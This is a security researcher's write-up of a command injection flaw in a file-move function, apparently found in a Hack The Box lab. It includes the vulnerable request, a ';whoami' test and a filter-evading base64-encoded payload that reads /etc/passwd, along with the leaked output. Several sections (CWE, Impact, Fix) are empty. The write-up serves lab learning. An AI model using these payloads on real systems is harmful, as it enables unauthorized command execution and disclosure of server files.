0xAzoz@ubuntu:~$

/0xAzoz

Bug Bounty Hunter • Web Security Researcher

💉 Command Injection in Move File Function Allows Reading Server Files (HTB)

2025-05-07
OAuth2FAAuthentication

CWE:


CVSS (Estimated):

Base Score: 8.6 (High) Vector:

AV\:N/AC\:L/PR\:L/UI\:N/S\:U/C\:H/I\:L/A\:N

Overview:

A command injection vulnerability was discovered in the "Move File" functionality of the web application hosted at http://94.237.53.203:49711. This issue allows an authenticated normal user to execute arbitrary system commands by manipulating the to parameter in a GET request during the file move operation. By exploiting this, an attacker can read sensitive server files, including /etc/passwd, without needing elevated privileges.


Impact:


Fix:


Detailed Exploitation Steps:


1. Navigate to the Target Application:


2. Identify the “Copy/Move” File Icon:


3. Intercept the Request in Burp Suite:

GET /index.php?to=&from=2561732172.txt&finish=1&move=1 HTTP/1.1  
Host: 94.237.53.203:49711

bash mv /var/www/html/files/2561732172.txt /var/www/html/files/{to}


4. Attempt Command Injection (Initial Test):

to=;whoami

5. Bypass Filters Using Encoded Payloads (Successful Exploitation):

GET /index.php?to=%0Aba"s"h<<<$(base64${IFS}-d<<<Y2F0IC9ldGMvcGFzc3dk)&from=2561732172.txt&finish=1&move=1
cat /etc/passwd

6. Observe the Response – Sensitive Data Leaked:

Error while moving: mv: '/var/www/html/files/2561732172.txt' and '/var/www/html/files/2561732172.txt' are the same file
<br>
root:x:0:0:root:/root:/bin/bash
<br>
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
<br>
bin:x:2:2:bin:/bin:/usr/sbin/nologin
<br>
...
<br>
mysql:x:101:102:MySQL Server,,,:/nonexistent:/bin/false
<br>
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin

Conclusion:

This command injection vulnerability in the file manager's "move file" function poses a severe threat. It enables normal authenticated users to execute arbitrary shell commands through the to parameter, leading to unauthorized access to critical server files. Left unpatched, it exposes the system to further exploitation, data leaks, and potential privilege escalation.


← Back to Home